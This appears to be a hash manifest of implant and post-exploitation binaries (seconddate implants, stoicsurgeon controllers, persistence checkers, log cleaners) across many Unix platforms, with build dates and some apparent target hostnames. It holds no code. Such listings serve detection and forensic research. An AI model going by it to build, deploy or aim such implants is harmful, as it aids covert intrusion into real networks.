orleans_stride.aix5.1_v.3.1.0.1 +B93F3A67E73EFB0C953B8B6880E4DD343F598E85 Thu Jul 26 17:27:20 2007 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.4.0.2 +A9EDE9DACDD3F170F45844D3ED9584A1EF97F701 Fri Nov 7 16:57:21 2008 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.0.2 +D0CC103697961D6E9D342275C635482ABBD30545 Fri May 15 14:09:21 2009 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.1.9 +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.2.7 +0DF93CD9EE88E4EB4201A9E9ABC4AAFECCEADA69 Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.3.0.0.1 +6AE5B63149E94C20B3848E265B80D2E0D65FBC09 Sat Mar 26 23:10:45 2011 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.3.1.0.1 +B41546413BE32E7B64E676793FC22FBE58171B73 Thu Jul 26 17:28:00 2007 [PITCHIMPAIR.12] orleans_stride.sunos5.9_v.2.4.0.2 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.v2.5.2.7.aix5.1_v.superseded +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.v2.5.2.7.sunos5.8_v.superseded +6290028FE300A5739CFD593B6FAC6614D9B02149 Fri Oct 13 13:57:22 2006 [PITCHIMPAIR.12] orleans_tride.sunos5.8_v.2.0 +4B327E0A3E6FC3197836DF73A7D5341A7BF872DC Fri Mar 16 19:19:54 2007 [PITCHIMPAIR.12] orleans_tride_v2.2_aix5.1_v.2.2 +7E5B887A7DE35F2923C1E5AF506FF254DD6104D7 Thu Feb 14 00:03:45 2008 [PITCHIMPAIR.12] pclean +5F281F0D6A83D57277F533874713E8EFB5BD21BA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.0 +95EEDA330A033FB00A44ADD456D043DE5292FCCE Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.old.hppa1.1-hp-hpux10.20 +31AAB7F611DEFA1F11A8B9517A4B4FD175317BA8 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.alphaev6-dec-osf4.0f +839C48ED1DF74AC00045FDF376C7C6CB880289F9 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.hppa1.1-hp-hpux10.20 +955A5E182EC3917248C58D71F505BB495A598421 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.i386-pc-solaris2.7 +64A83439FCB41405587DA92441D3E0675F5E727F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.i386-unknown-freebsd4.0 +8BB3AECD2B44E4ABC3E54815318961DA5422DAAE Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.sparc-sun-solaris2.5 +16C9634E10DFC2C369B5A4117FEE1664218020C4 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.alphaev6-dec-osf4.0f +145B7BEA50BD5D8A9E21FFF035A86FEAC90F7957 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.hppa1.1-hp-hpux10.20 +CD41D358EDFF7FEF5E19C02917F8E34F72965365 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-pc-bsdi4.0.1 +E7D13E998E62234308278EACC5B513FDA407511F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-pc-solaris2.7 +5F281F0D6A83D57277F533874713E8EFB5BD21BA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-unknown-freebsd4.0 +8B39B50F977168435E986571A704976E0D965E16 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i586-pc-linux-gnu +3BD679C76B6716E3ECBCC959EC7FCC6AD344D01D Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.2 +7B61B5691FABFC4593E92C2F8D810CF55B3F8EE8 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.3 +C98C109CCE447CC054A0F6EC3800841011C18F20 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.5 +D38A306AD37197A718FC3212CA7DA410A90698DA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-solaris2.4 +7E5B887A7DE35F2923C1E5AF506FF254DD6104D7 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-solaris2.5 +EF498E8FA12CF861C5622CE3E454EAD94876C0D1 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-sunos4.1.3 +B5DE2A5035D09771780B5B894D6C8B9E2EE53913 Fri Apr 17 02:10:41 2009 [PITCHIMPAIR.12] pork-inetd.gcc.v3.1.0.1 +A6DC376B81619597F495BE594E5C612103377B15 Wed May 5 17:21:19 2010 [PITCHIMPAIR.12] inetd.gcc.v3.2.0.1 +F6B9BD5B799BD69EFCEC29C335EFCB4DA7086138 Tue Dec 4 21:47:33 2007 [PITCHIMPAIR.12] porkserver.v3.0.0.1 +7DCFD0A7895834A7CEA7FDE48DFE43919C3E6BE9 Wed Nov 8 16:20:36 2006 [PITCHIMPAIR.12] jackladderhelper.aix.4.3 +A87D49EB1DECDE05F095745948B2FB9BFCC09CFA Wed Nov 8 16:20:16 2006 [PITCHIMPAIR.12] jackladderhelper.aix.5.1 +C4AC8740F0D0B932EDC09B577D24027423B122AF Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-2.0-2.2 +43163B06585F45012B5BB77980553341E75A9595 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-2.2-2.4 +639A08DB3946F56FFE2D9C0DA83101F772009E55 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-kmod +67D2A1F41FFF896A57DC211199B5E1FE699A9DE9 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-port-24876 +933BE9B3C205EF7B473AC8916DBEDA4AE9A835BB Thu Sep 30 19:58:15 2004 [PITCHIMPAIR.12] rsync-2.6.3-i686-pc-linux-gnu +811649EF2FE631D94014F91D98C9538538599840 Sun Dec 28 06:01:00 2008 [PITCHIMPAIR.12] rsync-3.0.5-i386.pc.solaris-2.6 +C978E2504A9E241205DF2F1A4B86EA34F4D87792 Wed Jun 3 11:46:20 2009 [PITCHIMPAIR.12] rsync-3.0.5-i686-pc-linux-gnu +3C6F79214E32C282CD6300A75CB7E54A82604BDD Sun Dec 28 06:01:00 2008 [PITCHIMPAIR.12] rsync-3.0.5-sparc.sun.solaris-2.6 +6E86AD901423AEF790A6F31DFB35C7B59DAB9B57 Thu May 24 16:11:09 2007 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.3.0.1_linux +72740BFFF9A876E72F4D7C4B23C17C880D120C75 Fri Apr 11 17:55:39 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.5.1.2_linux +723CAB027366ACCDEAB2F13675AE67D5D137C905 Tue Jun 24 14:51:43 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.5.1.3_linux +856728EA8FEB71B38397996556B6B10EA173036A Wed Aug 13 15:34:55 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.6.2.3_linux +B8112F9FFB79EC3DE32FF9878AFA236537B65327 Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_i386-linux +FD00CE7A90C70CF8BF565BB9C52C22BD8935E5AD Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_i386-solaris +D6A4CB573B66F3653EEEAA5BF1BF1A6B7E2FE965 Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_sparc-solaris +F30782389B78BCE5C7ABB1877869ABB4E8D3710A Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_x86_64-linux +759A2E04E8957E58807F1A7C6B7444DD6B899F29 Mon May 18 14:29:39 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.2_armv5b-linuxlinux-arm +D33CDCD3D15E873668EA016FD4C43EE8D9CD5A0E Mon Jul 6 10:32:44 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.3_trunklien +82E5A8B90F613578C668C552AFC1574EA19B29DA Thu Jul 2 18:13:35 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.4_trunklien +9D39CEE4614A8FBF7E64A1B41581072016F101AF Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd4 +78A93E106D842699D53BF022331F56504D712291 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd5 +AFCB73A2266CDDD8E2ED87F9E1360CCE3966A7C0 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd6 +3E536DC7F73AE7B8EFD079F55228E1709963E1AE Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd7 +8F1B40AEF3864BB9997392A60D537C7564DC7510 Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.4-belowtrunklien +61D8B078DB726551FF49982F84B672EB5DFE739D Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.5-abovetrunklien +DB103AA8D8849A6C47FBEA5E92DD84899C492F83 Fri Oct 2 21:53:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.6_sparc-solaris +4ADB8C14CFC2B6F06C9A344247A64DFD73812482 Tue May 11 14:03:18 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.7_i386-junos-8.5-abovetrunklien +2DA47A2B3BC3E8D3E2D170B053A9F499B58F3AEE Wed Aug 18 16:44:22 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.8_i386-junos-8.5-abovetrunklien +C3E4D1175F64508220491E78A0F83FDC76DE0814 Mon Nov 22 20:06:41 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.1.0_i386-junos-8.5-abovetrunklien +D72A6D8D447BD3F4655B734E1C9706B49010AED2 Thu Feb 17 18:46:50 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.1.1_i386-junos-8.4-belowtrunklien +07E891D088736FBCB18E699136866BD478482227 Thu Dec 9 16:52:33 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.1_i386-linux +07801F36004AB4F0DE4DAABA0BA79CCCEBBD2BB5 Thu Dec 9 18:06:46 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.2_x86_64-linux +2757FD8EE281E6109A83C0155A4D107AEC5015C8 Fri Dec 10 15:06:20 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.3_i386-freebsd +B5A8DBF522B0A3A9CD834A1A89D9EFE2DD878EC8 Fri Dec 10 20:51:02 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.4_x86_64-freebsd +9B26F16F3454E5837C2963345E366DFF99F4ACBD Tue Dec 14 20:28:05 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.5_sparc-solaris +ED0A01C5820815E84DD8C26839C1DEE8D87B7DD3 Wed Dec 22 22:30:14 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.6_i386-solaris +81488DD2D0BDFE24D21C87E10BAD26765743F823 Fri Jun 10 15:14:55 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.1_i386-linux +0220D8911B7CF7093BF7280880C914350E67F55A Mon Jun 13 13:46:15 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.2_x86_64-linux +362912F2DB33F1B428AEA37E09D25872B9DF9A11 Tue Jun 14 17:28:21 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.3_i386-freebsd +C7D44BB3B00D0C02976E9740082B4F0CABFBC8ED Wed Jun 15 17:25:14 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.4_x86_64-freebsd +FB1AC5C36BBDF1CFA6D50A29980A83EF6480CEFE Wed Jun 22 15:35:10 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.4.5_sparc-solaris +1A2073B47510904F9EA881F8CFA2C85F28EEE799 Wed Jun 22 19:57:22 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.4.6_i386-solaris +E7E29A322341011180FD69F830C4BE5B51078ED9 Thu Feb 14 00:08:23 2008 [PITCHIMPAIR.12] sgrep +C1DFC083ECCE3A5A119F004B967E66F3B2685896 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.alphaev6-dec-osf4.0f +4DCE8013B74919BD19815A5F31DF009C6A98DC8E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.hppa1.1-hp-hpux10.20 +6D09961BC9FFBA41FE540ECC6EA45B1E85412AF0 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.hppa1.1-hp-hpux11.00 +FE513BB7FC66AB3FBB09BE785FA6F7DD08B3D49B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-bsdi4.0.1 +72CD6000CE8239787DE0337D50D0DB6850B21AC2 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-sco3.2v5.0.5 +2CA752F8BF0A1572E97FF8317D89F1ABDB75510E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.6 +94C9FC22B52B297532A87276B8AA777D2637A314 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.7 +5404DC7FC01F96509032F7405FA88CC3FD48855B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.8 +1B7BAEC89757639814694B7DFD653D4595199ED7 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-unknown-freebsd4.0 +FCC3958ED51A411D621BAE36211A6B6637DC5DA6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i486-pc-linux-gnu +EA50081C8D252AA2DDE248A50E371D055B900BED Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i486-pc-linux-gnulibc1 +E7E29A322341011180FD69F830C4BE5B51078ED9 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i586-pc-linux-gnu +7E21D748CFB793658E529B1712E646B84CCBC8B6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnu +7E21D748CFB793658E529B1712E646B84CCBC8B6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnu-redhat-7.0 +69BE668A9643082EC5245D93CF54F6F7D3209348 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnulibc1-slackware-4.0.0 +99933EABFAA24F9F92EA154D5E95D416360301EA Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.mips-sgi-irix5.3 +7A5805B643CE14DD4D71CDD7D3EE341B58EA1648 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.powerpc-apple-darwin1.3 +BA6EF019DE1D1668C0A9899183DA0EEDEACC02BC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.powerpc-ibm-aix5.1 +C71CF2D5DB88F7CADD93803AA9F1464346B02B28 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.3 +38FF47B29B112F492E75D85AD00E17494BF751BF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.4 +2B27421BD52221923B17AB7D09161BFDCE80B35A Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.5 +019863194202DC183EE326B6737454682B180882 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.5.1 +BC0F10A914D1B1EE0BD9161158B4ECA314D72CAF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.6 +74A1CC94CE0175B54C56ACCA7F0BE4C2FD16EDAF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.7 +51464E7E890E6FB8C9EC7E943C2265E6D338684F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.8 +96AAAB0A4494F56EC7214ABEF9D083D0636B28FC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.1 +0A1E0F7A52CC97B05F58EC866259F203C5159F7F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.2 +CBC2FD9E635F6EFEED623B9FD17B0CEC9B56945D Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.3 +FF20BB527EB02EFC1EDDD6C45732EE308C0C7EA7 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.linux_v.2.0.1.1 +FD56631F47701C20DDF63D42712CA55349ED2B86 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.solaris.sparc_v.2.0.1.1 +B226BD9E2629ED19D345CCE60440507C1AED246C Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.solaris.x86_v.2.0.1.1 +FF4C1F400BB1BA53A153BDBD3F57FDB4537743F8 Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.12] skimcountry.aix5.1_v.1.4.0.10 +C6B0D0D7DE22D73BA10D489F54DEEEBA1F160667 Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.12] skimcountry.aix5.1_v.2.0.0.3 +993D905CB92BE323CA83330F353E348E4AD91006 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.12] skimcountry.sunos5.8_v.1.4.0.10 +E0D3C2B414F88E9A82D2A20E5BF530999DF1685B Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.12] skimcountry.sunos5.8_v.2.0.0.3 +181E9E23A0C158E690CE271E7061E6D6F52EEAFC Tue Aug 15 16:56:21 2006 [PITCHIMPAIR.12] skimcountry.sunos5.9_v.1.2 +047F217B798BEDCA2D7851822EA56A186ACBD379 Tue May 27 19:19:11 2008 [PITCHIMPAIR.12] skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 +8F6114ABF88C2807CD1F76BCC35F0F6EBE4D2B7B Tue May 27 19:19:43 2008 [PITCHIMPAIR.12] skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 +410E467CC96BDCF8A0382BB08D6128282893A6D9 Fri Oct 22 15:47:38 2010 [PITCHIMPAIR.12] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +760F723A7DA566B4D850AAD691136BCA0E964C91 Mon Jun 6 18:02:29 2011 [PITCHIMPAIR.12] skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 +06BAF31163918BB9C150D7577477BE6FA61933CF Tue May 4 21:08:53 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.3.1_i386_linux +DF88B23638C542B423FEAEC1374D77E73DAE8B45 Tue May 4 21:12:47 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.3.2_x86_64_linux +4114573DDE1E85CBB2364007AD19B5A697B489E2 Mon Jun 14 21:36:56 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.4.1_ppc_aix +2DC548DF58C418D1BCE2B99C5B261CC5F01A1F42 Thu Aug 5 17:48:15 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.5.1_ppc_aix +F17D2214974CA73B7FE56A3273D86014D1D679F7 Tue May 4 21:08:53 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.3.1_i386_linux +8CE5D8A8755429A8508BC81823FE2A24A483934A Tue May 4 21:12:47 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.3.2_x86_64_linux +88C58E170C2196F542F62DA5AEAF7668F94442E8 Mon Jun 14 21:36:56 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.4.1_ppc_aix +1B81A3C61AEE5036D187D2827729AFDBE0DA91AA Thu Aug 5 17:48:15 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.5.1_ppc_aix +FD9E0B5FE710A6E03BA18EC4BE99655656AB2136 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.10.2_i686-pc-linux-gnu-2.4.20-av15 +FD9E0B5FE710A6E03BA18EC4BE99655656AB2136 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.10.3_i686-pc-linux-gnu-2.6.11-av15 +49EA6719E4DD1F2D9DC88D59C29DE92E1F480991 Wed Jun 7 20:32:22 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.11.1_sparc-sun-solaris2.10 +101B9E8BCE36A8DC64D8CBA93D4516418550E89E Tue Aug 22 14:22:36 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.10_i686-pc-linux-gnu-2.4-tilttop-ns +85DEF1B22935C77D9A97270EE9CF3DD2FD905F8A Tue Aug 8 19:50:04 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.1_i686-pc-linux-gnu-2.6.9-34.el +16CE136EEFBDE7C623FBB0FA4D80B3963832D64F Mon Aug 14 19:12:29 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.6_i686-pc-linux-gnu-2.4-tilttop-comet +D9F525CA65B00EE9F2744F7C9E93326684240A73 Thu Aug 17 14:35:37 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.8_i686-pc-linux-gnu-2.4.20-8 +0639CBDC058F864B51E8D9DB4ECBBFB053444F09 Thu Mar 2 19:16:45 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.5.2_sparc-sun-solaris2.8 +FE0BFA01E34DF1022CC8E864C6DC3E4BC6606705 Thu Mar 2 19:28:08 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.5.3_sparc-sun-solaris2.9 +5F9B9A5B4291C855F6BCF4B074997EE10C1D7FE5 Thu Jul 27 13:40:05 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.7.1_i386-pc-solaris2.8 +BD2E33ACC0F34A4B2AB9502B31D48C154123420D Mon Dec 18 18:29:24 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.14.1_x86-linux-centos +C55060A345B6804A068F1437371A089AB44A3262 Wed Jan 3 17:11:43 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.16.1_x86-linux-vinifera-npost +E1AED7B01A7B5E856149158E9129757E73E88509 Thu Jan 4 17:00:55 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.17.1_x86-linux-redhat-enterprise-3.0 +2E3CCF17ED8ED52185013D15DB3AAF28984E7EFB Tue Jan 16 17:33:59 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.18.1_x86-linux-mandriva-10.2 +983CFC6E8769183A10E8176427428169E44EC6D8 Fri Jan 19 17:25:30 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.19.1_x86-linux-redhat-7.2 +E87D107B602501772CA8CF26F9DEEA3FB5FD2EE0 Wed Jan 24 20:35:01 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.19.2_x86-linux-2.4-tilttop-comet_emx_ns +0BEF31F39B2A60A86BAD5D63684C38AAC9CF3E75 Wed Oct 18 21:14:06 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.2.1_x86-linux-2.4-tilttop-comet_emx_ns +EFF5BD97EE2139AD4F437A5504F8251701A391D9 Mon Jan 29 19:10:05 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.20.3_sparc-sun-solaris2.9 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.3_x86-linux-fedora4 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.6_x86-linux-redhat-9.0 +22CF88234ECC27640B9DC01743FA56B4AF3A2517 Thu Mar 1 18:06:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.23.7_x86-linux-centos +9289E3E84E61F6A4C80E6D326FFA39D4ACD4FB04 Fri Feb 23 02:22:26 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.24.1_sparc-sun-solaris2.10 +E1059F3655E8A4CC921DB45C6C1C746E58AF2D67 Fri Feb 23 23:20:34 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.24.3_sparc-sun-solaris2.8 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.2_x86-linux-fedora2 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.3_x86-linux-fedora3 +CE7A493CC0A5EBD6664F651B03801ED316ABD897 Fri Mar 9 16:30:18 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.26.4_x86-linux-debian-3.1 +57BA74395C67E5098B065CFC0337C96CB0A573BB Mon Mar 19 19:03:21 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.1_x86-linux-vinifera-mail-npost +C020E876753088DF63B15D7C31BC8B04841957CB Tue Mar 20 00:39:23 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.3_i386-pc-solaris2.9 +00C0A215DC84D715B4127F644DAB351FEE49B66D Tue Mar 20 00:48:29 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.4_sparc-sun-solaris2.9 +7593E9CE36233110DAFACC8CE9F961A24944E2C5 Thu Mar 22 16:34:49 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.5_x86-linux-tilttop-gate.itec +B626B90A64C730CBF26814A2580E954F460AC65C Mon Apr 2 12:12:50 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.27.7_x86-linux-centos +84F6AEAB8D3018DE6FE7B96EEE64B222CA6DB8E5 Wed Apr 11 19:44:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.29.1_i386-pc-solaris2.8 +BC1A1518E3BB1178E38BAC10D81C76BC320EEAF7 Fri Oct 20 19:34:01 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.3.1_x86-linux-slackware-10.2 +8F3D0E4D97E8883ADB83FEC972ADBFA207A4508A Wed Apr 18 14:25:07 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.32.1_x86-linux-redhat-7.3 +92DC6BE77B8B11F55EF50D45459D5A2C54B5AA59 Tue May 15 13:01:50 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.34.1_x86-linux-tilttop-gamma.ch70.chel.su +375C0D3B043A9FB38B5A197773BE2778E39F85BD Thu Jun 14 15:52:03 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.36.1_x86-linux-tilttop-tormoz.vniitf.ru +CF82EEE69AD86F5C1106A7CEACC7D22D03AA245F Thu Jun 21 19:52:57 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.38.1_sparc-sun-solaris2.8 +8C8CAF5004A3A4421D59358FDA31B7B315957F5A Mon Jun 25 14:30:53 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.39.1_x86-linux-tilttop-ns.snz.ru +D425F996A2E34F093AB64F0C964F88671F8FDB88 Thu Oct 26 20:02:29 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.4.1_x86-linux-fedora4 +FD7F501BE3BD3F2421893A8F91DD3B65F0D26752 Mon Nov 6 21:39:47 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.7.1_x86-linux-vinifera-mail +FFF18195865C94E60B97981D72AA37A54EE31153 Thu Jun 28 14:56:00 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.1.1_x86-linux-suse-10.0 +1D0FC72E47BA28429AAEEB0C199481ABA81B9DCD Thu Sep 6 18:37:42 2007 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.2.10.1_x86-linux-fedora5 